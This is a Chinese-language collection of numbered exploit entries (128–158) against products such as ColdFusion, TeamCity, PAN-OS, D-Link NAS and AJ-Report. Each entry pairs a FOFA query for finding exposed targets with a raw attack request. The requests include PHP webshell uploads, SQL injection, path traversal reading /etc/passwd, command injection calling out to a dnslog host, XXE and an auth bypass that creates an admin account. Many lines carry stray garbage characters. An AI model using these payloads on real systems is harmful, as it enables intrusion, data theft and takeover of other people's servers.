/ e  [: N+ w* t* ~  dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
% J, M7 f- Z  }4 Y5 ZContent-Length: 415
& t, Z5 `/ Q$ Q& sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ B5 [( N' [/ X. W9 }  ~Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
# w1 c% k. s/ v5 i0 ?Sec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
5 W) I% a% o& O; U4 v
BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
$ }9 ?5 h7 t* jContent-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
" X5 M  g# S) ]6 y. a: j<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
) _2 Y; Z2 P. A- g' Y<test>&t;</test>
( ~; l; y4 F8 F" b------WebKitFormBoundaryJGgV5l5ta05yAIe0--
# }# m" V6 |( R  p
7 |8 W4 h4 m3 ?
6 [. h3 l: F$ }2 Z" q  j4 @
- G2 c* q" }; b6 b% I$ F( f+ g128. Adobe ColdFusion 反序列化
0 f( X! B9 P, u1 |" z- T( HCVE-2023-38203
) z+ h3 X+ h+ i4 R9 S& y) B$ HAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
! Y& @' h6 ^" U5 v1 a0 T* G) ]5 yFOFA：app="Adobe-ColdFusion"
PAYLOAD
9 m; p9 h5 _% i& d  [* _6 Y
129. Adobe ColdFusion 任意文件读取
( r: C* e: e$ DCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
7 s' u3 Y2 w+ c3 J3 V: hGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
# m: U- d2 J9 G) m5 t' oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
, k; W8 \6 W, t) t2 |' _Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

5 `# h$ J; b& r2 [4 Q* r
' o- e$ s; c' n! Q4 J第二步，读取/etc/passwd文件
6 G' P7 H+ E5 D5 EGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
6 O4 s  U  a% J; b7 L# n5 Juuid: 85f60018-a654-4410-a783-f81cbd5000b9

8 |/ \$ A* @3 f# n( }
+ T1 D4 {' s) X130. Laykefu客服系统任意文件上传
1 }/ m6 s% e9 E* W- a, v: [- oFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
' Q3 Y3 k1 X" BUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
( r& s% S4 g, c, i0 yContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
- e+ v  o% ^$ P& w2 h- tAccept-Language: zh-CN,zh;q=0.9
6 j: |# y, i6 b/ d6 T4 r# hCookie: user_name=1; user_id=3
Connection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
8 C" r$ V! \5 H$ n, c# pContent-Disposition: form-data; name="file"; filename="1.php"
( q( G# d7 _3 s" n8 j& G8 k& AContent-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--

2 y7 z4 I4 `4 p5 G" K3 q& h
131. Mini-Tmall <=20231017 SQL注入
4 x- }/ z* I3 D& F  p. H* PFOFA：icon_hash="-2087517259"
* c) T* B5 z- n# w8 a- ~后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
* Z+ ?5 z4 [8 E# A
% `2 Q) s  f8 P9 S0 J132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
; t8 g/ `6 b3 p- \CVE-2024-27198
( h2 {  E; w% R5 W1 DFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
# e# q9 P5 P+ G% x4 l9 g/ T6 OHost: 192.168.40.130:8111
3 g2 G4 B. f- P, lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
' e4 j  i8 }- ^Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
7 @$ g7 f+ I, _5 i
5 e$ K/ j3 k5 l
2 v- q8 h( p# HCVE-2024-27199
: H0 F* j# n3 e0 `8 H/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
3 N' R: k7 f0 ?" L- Z/update/../admin/diagnostic.jsp
$ I, i7 o* ?/ ]1 r1 E. `7 f, r
& L( T9 L' ?; {
! r! C4 I* d) r) w3 V( b+ WCVE-2024-27198-RCE.py
# x# p) ~' m) ^2 f- K
* r! X# {. m- C! ]" D+ x' O, |133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
( F; f* q! o6 U' E$ y( e2 WContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
; l- h/ L/ d2 ]! U* _$ }! ^$ X3 I

& o4 ]" F- z% u3 L( t. J
1 D& ^' ^$ e$ Y* C0 p( `! x+ U, Y3 v134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
+ p$ }- x/ u6 Z! d& ?. CNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
& K" s5 ~1 c& `Host: x.x.x.x
; J4 \# p$ g$ X/ I6 S+ NCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
, i7 K+ _: h4 O# \- f7 n  G0 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
& n6 S+ |6 m1 P9 O' j: C" ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ g4 j& s9 d6 H" ^- GAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
4 z2 ^! X$ e3 j" S# b& y0 QSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

9 Y0 V' D* i6 U/ `0 G0 e2 Yjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

$ e% N( ~* l0 P' U
* h: v$ s. d% T2 n7 ]- a- v: D8 I/ K135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
/ c7 [) g; Z/ B2 ?CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
$ j7 V# }4 y+ w* C: x4 H4 M/ B' {GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
  q; @1 G8 r9 K1 _2 tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
( \& z7 w$ E" p, pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ ^% ^5 s. F! P6 t3 SAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

1 K( _3 k  B4 O8 W
/ W+ h( u0 c  ~136. NextChat cors SSRF
CVE-2023-49785
- l6 ~: c/ i$ }, n5 TFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
3 R' Y: }( ^5 F5 ^; _Connection: close
) v$ J! d2 N* p$ {Accept: */*
$ D: V" I# x- x# WAccept-Language: en
Accept-Encoding: gzip

8 V0 y* _6 z- l5 g5 r' V$ ^4 C  h
+ N: P( d) y, }! U137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
! @1 T, B, G: K: _: Y. ~- K  GGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
$ t* y( Q) e- q9 }Host: x.x.x.x
" P% t$ _# a8 Z/ B) cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
) U& a# {8 Y+ SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% w, u3 D5 W5 g/ C" z' Y( ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
" z, {& N: [) G; GConnection: close
$ G0 P9 x- {- o% _; e! M9 O; H# tCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
- E# q- }5 K3 `$ l# b5 b0 H2 E- q
+ N' p- V4 U! i6 d
/ u. Q. I4 p. @: L138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
% c' v; G+ \7 I+ ^FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
+ _& v# M% H3 e" Q* e! Q( f8 W* {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 D7 F) H1 P. n, l* |Accept-Encoding: gzip, deflate, br
Connection: close
5 Q. D2 H" Z( w# CUpgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
* E5 E. a9 i6 M# mGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
: r$ n+ B& Q+ ?% W' e9 NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
4 I0 r0 v* {: Y3 X, j2 }2 AUpgrade-Insecure-Requests: 1


140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
0 M" W; {! r% ~1 y' N  u6 dGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
  Z; s" ?/ D6 B4 ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
  J; a. I0 h" O1 `% JUpgrade-Insecure-Requests: 1


0 S) ^6 L# G4 h9 C: e8 \8 }141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
2 \' ]9 Q4 n. h& rUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
2 O7 t5 \' V/ x' O- f- t0 T) c) t6 `
- ~- Z! K8 r! E& q: O" Q
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

; R8 J/ c; d4 i" d' r
142. CMSV6车辆监控平台系统中存在弱密码
6 t. V1 u# j" _) G) }9 m- gCVE-2024-29666
* D" o, u; [8 f8 c7 dFOFA：body="/808gps/"
; Z! q" J/ m; b: y4 nadmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
) y8 y: j$ P, M- pCVE-2024-25850
5 j* Q% m! V2 y+ F* E$ l. U7 u$ [FOFA：title='AP setup' && header='netis'
PAYLOAD
" _. S9 U6 X, K4 R: i5 u! {  [
144. D-Link nas_sharing.cgi 命令注入
$ r# I* \! I. r' C% @! UFOFA：app="D_Link-DNS-ShareCenter"
/ w! w. b& u5 Z) N' Qsystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
2 [- g# `" \: C0 ~+ x( R5 dHost: x.x.x.x
+ D4 }, G! m3 L' c; [, zUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
' Y2 v2 F# @! }( s/ k8 ^1 wAccept: */*
Accept-Language: en
* h7 ~' X% z' [Accept-Encoding: gzip
# C7 z1 X' F$ ]+ M( r1 }

145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
# ]9 j8 a( w3 t+ D2 d$ cCVE-2024-3400
1 ?3 ?1 {  {' {FOFA：icon_hash="-631559155"
. f/ F! D( p% z5 W7 hGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
( [& R" F! H& @7 \; M$ S% `+ `Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
1 t1 y9 l/ ]& R  T9 FAccept-Encoding: gzip


146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
3 ?: s" W/ b7 X* g5 |* zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
; N. F0 O. f4 Q, eAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


" k$ U7 _+ I- J, ~147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
# S/ V5 d' x' V  I0 DCVE-2024-32399
0 }4 P! Y+ l7 y  pFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
0 P2 I: }, ]( W/ ^) UCache-Control: max-age=0
Connection: close


# w- L+ b9 V, Q! \0 W9 @* s8 A' U148. CrushFTP 认证绕过模板注入
CVE-2024-4040
* N& p- r  o6 u1 S1 S1 B9 U# T6 XFOFA：body="CrushFTP"
PAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
* \6 M8 @; q* g' E
9 A8 N" L; p6 h8 @3 KPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
' j/ F7 o6 @+ u6 b: FHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
) X4 n/ w. \- y3 W0 dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
6 g" c- v' j' S! [& d* dAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
9 ~7 {  ~- i3 m4 u1 P8 C$ M! o! r8 i
. y1 N2 t& f" `{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
) I2 R/ V; j9 R2 ]
( _: X( d/ S) j1 c* V9 H150. AJ-Report 1.4.0 认证绕过与远程代码执行
9 c0 q7 @+ I: bFOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
) J9 F, p2 |. JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
& F' F2 x0 e4 \2 O/ l% DConnection: close
& y* A6 {, |- \Content-Length: 339

8 I8 q0 O" R$ z9 g. K{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


- z+ a" [- a5 Q, Q151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
1 q  C6 H4 [+ Y3 q' _- l2 e% DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
* i, P* x* ~4 _7 T" ZAccept-Encoding: gzip
: k7 [; ]% t1 x; A/ _  s$ ]' a
& A( a# ?- F+ `: @1 g* F
152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
2 c! u3 p: n, `; t5 {# e' L2 aLoadMaster <= 7.2.59.2 (GA)
+ k7 m9 A# ^, J+ j: x% ALoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
- [' k. e* p" o# C' I4 H! g7 H. c0 }FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
9 E4 |$ Q* c2 u/ D8 U9 sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
- ?9 g9 {7 G! uConnection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
# ^; z) |  f! u' r
' B' Y) B0 ~4 P
( q) H- u! j( N4 K153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config

: z% c- x$ b/ {$ l6 g
% o: o6 P3 @0 g2 R; [- _第二步，将/etc/passwd的内容写入到一个临时文件
: N& N* i# J5 B1 ~. Q, CPOST /component_server HTTP/1.1
Host: x.x.x.x
5 `1 y: v+ G$ y3 \  T$ V- I/ Q% M5 }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
1 @% k5 w0 _8 S7 u* KContent-Type: application/json
Accept-Encoding: gzip

3 U/ ]7 k& |* k. K: F0 F: D{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
: t1 r1 `! O! c1 a

第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
# r; |* K$ N  [$ W* P/ i; qCache-Control: max-age=0
5 V: ]1 E7 D' ^  m$ ]* g: eUpgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
/ {5 m  c: d4 F* F, \Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
: `$ E" E; h! K1 @9 FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ U+ k9 v: @! U( I$ {$ H8 k( |Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
/ S0 o, X3 C# q* QConnection: close
% y9 [2 B2 I3 t" H3 Q
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
3 I$ I1 C' c- y' l" I6 u4 H  h! Q

; F: }$ p9 e; o3 U0 b( R/ B$ A155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
! G; F* g( x& dFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
( K0 p! N! Y$ F2 VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
: t2 |1 l1 g+ R- R3 E7 {+ {Connection: close
Content-Length: 232
9 h7 @/ F* h" \/ A- k3 [- z% f, _Accept: application/json, text/javascript, */*; q=0.01
2 l$ X. e/ p5 F) DAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
8 _" s: M9 o/ e/ ]7 p* L8 ~( r
-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
' s7 k; S1 B; Q% ?* BContent-Type: image/png
- h4 o0 T/ J" I. O1 q+ x7 c. i; W
/ L4 P. e) n( Y% G4 O<?php phpinfo();unlink(__FILE__);?>
. Y- m/ L: d* n* d. r- [-----------------------------qttl7vemrsold314zg0f--
: x: L9 A! W  S7 p

访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
8 q: x' Y5 q3 u6 R0 f# F
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
6 {9 I; t: J1 n4 Q·TBK DVR-4104
5 ]) S! _, ]$ H# Q1 p2 J6 y·TBK DVR-4216
0 ~; F/ t! c3 p0 _% \curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
4 P) l: [' a6 w2 D- P- }. t5 TContent-Length: 0
Cookie: uid=1
! u" E2 F9 I* r; `Accept-Encoding: gzip


8 `7 Y) v- G* x) A2 B& {157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
) L& I4 b& A( bFOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
! n2 h. e( V: @6 x( @# }8 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
# B8 G* j7 d% h9 d2 L, m+ IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
0 F9 p/ r) y  {6 R6 gAccept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
$ _2 z' D) j, l5 z) n1 u# aUpgrade-Insecure-Requests: 1
: D  b( R2 K1 R* K
------WebKitFormBoundary1imovELzPsfzp5dN
' e, ~% y  B; J$ }" e& TContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
* k6 P! r4 n7 C$ P) t4 FContent-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
1 m, [5 H1 v' I  V2 m
' r  f$ x. s, R4 _# Fnull
: m  {1 j0 K4 X6 P6 s------WebKitFormBoundary1imovELzPsfzp5dN
6 C( t0 c% f& B+ w2 I) o/ H) Y& IContent-Disposition: form-data; name="form"
; @  P, t  j% P2 X) e  m" q4 x4 p
null
3 \: {  P5 v. h5 V------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

null
$ s6 H$ P; s9 V& @# U7 A0 h------WebKitFormBoundary1imovELzPsfzp5dN
/ d! B  y) R2 t  s- Z: ?0 m( S9 UContent-Disposition: form-data; name="filetitile"

: |# n0 e# ?+ c2 e2 Rnull
) u9 i+ t6 C2 ]% j0 Q; g------WebKitFormBoundary1imovELzPsfzp5dN
1 v1 E' H+ W/ h) IContent-Disposition: form-data; name="filefolder"

7 Q# O! J3 }- v" U0 G& Znull
) n5 o) b) G( N------WebKitFormBoundary1imovELzPsfzp5dN--
. k% `7 G9 y0 }% M' J6 K7 z! [
7 q1 D4 Y' ^6 [' Q- w
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
: ?- @3 p/ }! {/ x8 k+ z
5 N, `9 ~; ?8 v) O158. Mura-CMS-processAsyncObject存在SQL注入
4 t' F8 p6 N+ f# R0 n1 A) D5 uCVE-2024-32640
FOFA："Generator: Masa CMS"
